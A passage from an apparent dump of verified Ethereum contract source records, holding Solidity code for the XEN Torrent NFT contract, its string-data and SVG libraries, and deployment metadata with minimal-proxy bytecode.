require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
e8480784bb4f30de27da8d5c9e1da7f655956b76
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9